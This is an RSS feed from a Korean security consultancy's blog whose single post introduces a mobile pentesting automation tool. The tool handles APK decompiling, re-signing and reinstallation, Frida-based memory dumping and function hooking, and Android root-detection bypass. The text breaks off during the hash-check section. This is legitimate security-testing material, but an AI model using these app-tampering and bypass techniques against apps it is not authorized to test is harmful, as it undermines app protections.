<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>TEAMCR@K</title>
    <link>https://teamcrak.tistory.com/</link>
    <description>A3Security　　　해킹보안그룹(TeamCR@K)　블로그</description>
    <language>ko</language>
    <pubDate>Tue, 14 Apr 2026 15:29:57 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>blarees</managingEditor>
    <image>
      <title>TEAMCR@K</title>
      <url>https://t1.daumcdn.net/cfile/tistory/215AD83451E793B12E</url>
      <link>https://teamcrak.tistory.com</link>
    </image>
    <item>
      <title>모바일 분석 자동화 도구</title>
      <link>https://teamcrak.tistory.com/403</link>
      <description>&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px; text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;김진무 선임컨설턴트&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px; text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;TeamCr@k(&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;해킹보안그룹)&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px; text-align: right;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;namejin88@a3security.com&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-size: 12px; text-align: right;&quot;&gt;(A.K.A nam3z1p)&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px; text-align: right;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px; text-align: right;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;nbsp;모바일 진단 시 항상 필요없는 반복 작업에 시간 쓰는 경우를 주변에서 많이 목격했었습니다. 그래서 그 동안 모바일 프로젝트를 진행하면서 만들었던&amp;nbsp;배치파일 및 파이썬 코드를 이용해서&amp;nbsp;윈도우에서 사용가능한 자동화 도구를 만들게 되었습니다. 환경은 C#을 기본으로 ironpython 라이브러리를 이용하여 프로그래밍 하였고 현재 아주 잘 만들어진 frida 모듈을 가져다 사용하였습니다.&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;nbsp;본 도구는 클릭 한방으로 모든 진단이 완료되는 자동화 도구가 아닌 수동으로 분석하는 모의해커들에게 조금이라도 쓸데없는 시간이 낭비되지 않도록 조금 도와주는 도구입니다.&amp;nbsp;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;※ 참고로 아래 글에 사용된 도구의&amp;nbsp;소스코드는&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;i&gt;github&lt;/i&gt;를 통해&lt;/span&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&amp;nbsp;다운로드 받으실 수 있습니다.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(189, 189, 189); background-color: rgb(0, 0, 0); padding: 10px;&quot;&gt;&lt;p&gt;&lt;font color=&quot;#bdbdbd&quot; face=&quot;Verdana&quot;&gt;$ git clone http://github.com/nam3z1p/HUA2T_TeamCrak.git&lt;/font&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;파일정보(실행파일 해시값)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;File: HUA2T_TeamCr@k.7z.001&lt;/p&gt;&lt;p&gt;&amp;nbsp; - MD5: 23e868ecbe44b6fa8959d30a83f6873d&lt;/p&gt;&lt;p&gt;File: HUA2T_TeamCr@k.7z.002&lt;/p&gt;&lt;p&gt;&amp;nbsp; - MD5: 8df8594965567b7cb372444f95eef2f4&lt;/p&gt;&lt;p&gt;File: HUA2T_TeamCr@k.7z.003&lt;/p&gt;&lt;p&gt;&amp;nbsp; -&amp;nbsp;MD5: 13033303b6e4e2f8569d3f7f9bbbf114&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/994C02445ACAC6EF2D&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/unknown.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;HUA2T_TeamCr@k.7z.001&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/9984DA435ACAC6EF25&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/unknown.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;HUA2T_TeamCr@k.7z.002&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block;   height: auto; max-width: 100%;&quot;&gt;&lt;a href=&quot;https://t1.daumcdn.net/cfile/tistory/999308355ACAC6EC18&quot;&gt;&lt;img alt=&quot;&quot; src=&quot;https://i1.daumcdn.net/cfs.tistory/v/0/blog/image/extension/unknown.gif&quot; style=&quot;vertical-align: middle;&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot;/&gt;HUA2T_TeamCr@k.7z.003&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;div class=&quot;txc-textbox&quot; style=&quot;border-style: dashed; border-width: 1px; border-color: rgb(121, 165, 228); background-color: rgb(219, 232, 251); padding: 10px;&quot;&gt;&lt;p&gt;&lt;b style=&quot;font-family: Verdana;&quot;&gt;개요)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-family: Verdana;&quot;&gt;1. 환경구성&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;2. 기능소개&lt;/font&gt;&lt;/p&gt;&lt;p&gt;&lt;font face=&quot;Verdana&quot;&gt;3.&lt;b&gt;&amp;nbsp;&lt;/b&gt;사용방법&lt;/font&gt;&lt;/p&gt;&lt;/div&gt;&lt;p style=&quot;text-align: right;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;b&gt;1. 환경구성&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;table class=&quot;txc-table&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;684&quot; style=&quot;color: rgb(74, 74, 69); font-size: 12px; border: none; border-collapse: collapse; font-family: 돋움;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); height: 171px;&quot;&gt;&lt;p&gt;&lt;b&gt;구성)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;- Windows7 x64&lt;/p&gt;&lt;p&gt;&amp;nbsp;- 루팅된 갤럭시 노트 2 (&lt;span style=&quot;color: rgb(45, 44, 45); font-family: 돋움; font-size: 12px;&quot;&gt;안드로이드 4.4&lt;/span&gt;)&lt;/p&gt;&lt;p&gt;&amp;nbsp;- USB 디버깅 허용&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;설치)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;- adb, jre, python-2.7.14&lt;/p&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;br style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;b&gt;2. 기능소개&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;table class=&quot;txc-table&quot; border=&quot;0&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; width=&quot;684&quot; style=&quot;color: rgb(74, 74, 69); font-size: 12px; border: none; border-collapse: collapse; font-family: 돋움;&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;border-width: 1px; border-style: solid; border-color: rgb(204, 204, 204); height: 17px;&quot;&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;1. Auto_Tool&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; - Decompile(디컴파일)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; - Siging Compile(컴파일 후 사이닝)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; -&amp;nbsp;Re-Install(설치 및 재설치)&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;2. HashCheck&lt;/p&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; - 원본 파일과 변조된 파일의 해시값을 비교&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&amp;nbsp;3. ScreenShot&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; - Device의 현재 화면을 캡쳐&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&amp;nbsp;4. FileExtract&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; - File 또는 Directory를 지정하여 이미지(png, jpg, jpeg) 추출&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&amp;nbsp;5. MemoryDump&lt;/p&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; - Frida 모듈을 이용해서 Mobile, Emulator에서 Memory, Data 추출&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&amp;nbsp;6. FunctionHook&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; - Frida 모듈을 이용하여 Android, iOS, Windows API 후킹&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;7. RootingBypass&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; -&amp;nbsp;http://teamcrak.tistory.com/378에서 사용한 기법을 이용해서 Android Rooting Bypass&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;/div&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;&lt;br style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;p style=&quot;margin-top: 0px; margin-bottom: 0px; font-style: normal; font-variant-ligatures: normal; font-variant-caps: normal; font-weight: 400; letter-spacing: normal; orphans: 2; text-align: start; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; text-decoration-style: initial; text-decoration-color: initial; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/p&gt;&lt;p&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;3. 사용방법&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;아래 그림 1,&amp;nbsp;2는 HUA2T_TeamCr@k 도구 폴더와 Main UI 입니다.&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/995AF7475ACAE59315&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F995AF7475ACAE59315&quot; width=&quot;570&quot; height=&quot;313&quot; filename=&quot;2.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;span style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;b&gt;&amp;lt;그림 1&amp;gt; HUA2T_TeamCr@k&amp;nbsp;폴더 내부&lt;/b&gt;&lt;br /&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990C044C5ACAE5B71D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F990C044C5ACAE5B71D&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;48.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 2&amp;gt;&amp;nbsp;&lt;/b&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;HUA2T_TeamCr@k&lt;/b&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;nbsp;Main UI&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;3.1&amp;nbsp;Auto_Tool&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;* apktool version up 방법은&amp;nbsp;Lib/ 폴더에&amp;nbsp;apktool 파일을 삭제하고 최신버전으로&amp;nbsp;다시 복사해서 넣으시면 됩니다. (현재 Lib/apktool_2.2.3.jar 버전입니다.)&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp;- Decompile(디컴파일)&amp;nbsp;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;FileOpen을 통해 Input_File에 존재하는 APK 파일을 선택합니다.&lt;/p&gt;&lt;p&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px; text-align: center;; height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99F020455ACAE82C34&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99F020455ACAE82C34&quot; width=&quot;570&quot; height=&quot;386&quot; filename=&quot;5.jpg&quot; filemime=&quot;image/jpeg&quot; style=&quot;text-align: center;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 3&amp;gt; APK 파일 선택&lt;/b&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Decompile 옵션을 선택하고 COMMAND 버튼을 클릭 시 진행 과정이 출력됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99A1DE495ACAEA7B0B&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99A1DE495ACAEA7B0B&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;3.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 4&amp;gt; Decompile 진행&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;Decompile이 완료되면 Output_Decompile 폴더에 APK 파일명으로&amp;nbsp;폴더가 생성됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99ACD64F5ACAE87321&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99ACD64F5ACAE87321&quot; width=&quot;570&quot; height=&quot;313&quot; filename=&quot;4.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 5&amp;gt; APK 파일명으로 폴더 생성&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp;- Siging Compile(컴파일 후 사이닝)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Sign-Compile 옵션을 선택하고 COMMAND 버튼을 클릭 시 진행 과정이 출력됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/991C4D4A5ACAE89F1E&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F991C4D4A5ACAE89F1E&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;6.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 6&amp;gt;&amp;nbsp;&lt;/b&gt;&lt;b&gt;Sign-Compile&lt;font color=&quot;#4a4a45&quot; face=&quot;Dotum, Verdana, AppleGothic, sans-serif&quot;&gt;&lt;span style=&quot;font-size: 12px;&quot;&gt;&amp;nbsp;진행&lt;/span&gt;&lt;/font&gt;&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;Compile &amp;amp; Signing이 완료되면 Output_SignedFile 폴더에&amp;nbsp;Signed_APK 파일명으로 파일이&amp;nbsp;생성됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D51D445ACAE8B106&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D51D445ACAE8B106&quot; width=&quot;570&quot; height=&quot;313&quot; filename=&quot;7.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 7&amp;gt; Signed_APK 파일명으로 파일&amp;nbsp;생성&lt;/b&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp;-&amp;nbsp;Re-Install(설치 및 재설치)&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;DeviceList 버튼을 클릭하여 현재 연결된 Device 목록 불러와 선택합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99D8834A5ACAE8DE3D&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99D8834A5ACAE8DE3D&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;8.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;b style=&quot;color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 8&amp;gt; 연결된 Device 선택&lt;/b&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;Re-Install 옵션을 선택하고 COMMAND 버튼을 클릭 시 진행 과정이 출력됩니다. 동일하게 Signing된 APK 파일을 재설치할 경우 덮어쓰기가 가능합니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/999AAB465ACAE9571C&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F999AAB465ACAE9571C&quot; width=&quot;570&quot; height=&quot;410&quot; filename=&quot;11.jpg&quot; filemime=&quot;image/jpeg&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p style=&quot;text-align: center;&quot;&gt;&lt;b style=&quot;text-align: center; color: rgb(74, 74, 69); font-family: Dotum, Verdana, AppleGothic, sans-serif; font-size: 12px;&quot;&gt;&amp;lt;그림 9&amp;gt; Signed_APK 파일 설치&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;3.2. HashCheck&lt;/b&gt;&lt;/p&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;FileOpen을 통해 Original_File과 Signed_File을 선택하고 HASHCHECK 버튼 클릭 시 MD5, SHA-1, SHA-256으로 해시값이 출력됩니다.&lt;/p&gt;&lt;p style=&quot;text-align: center; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 570px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/990D704C5ACAE97033&quot; 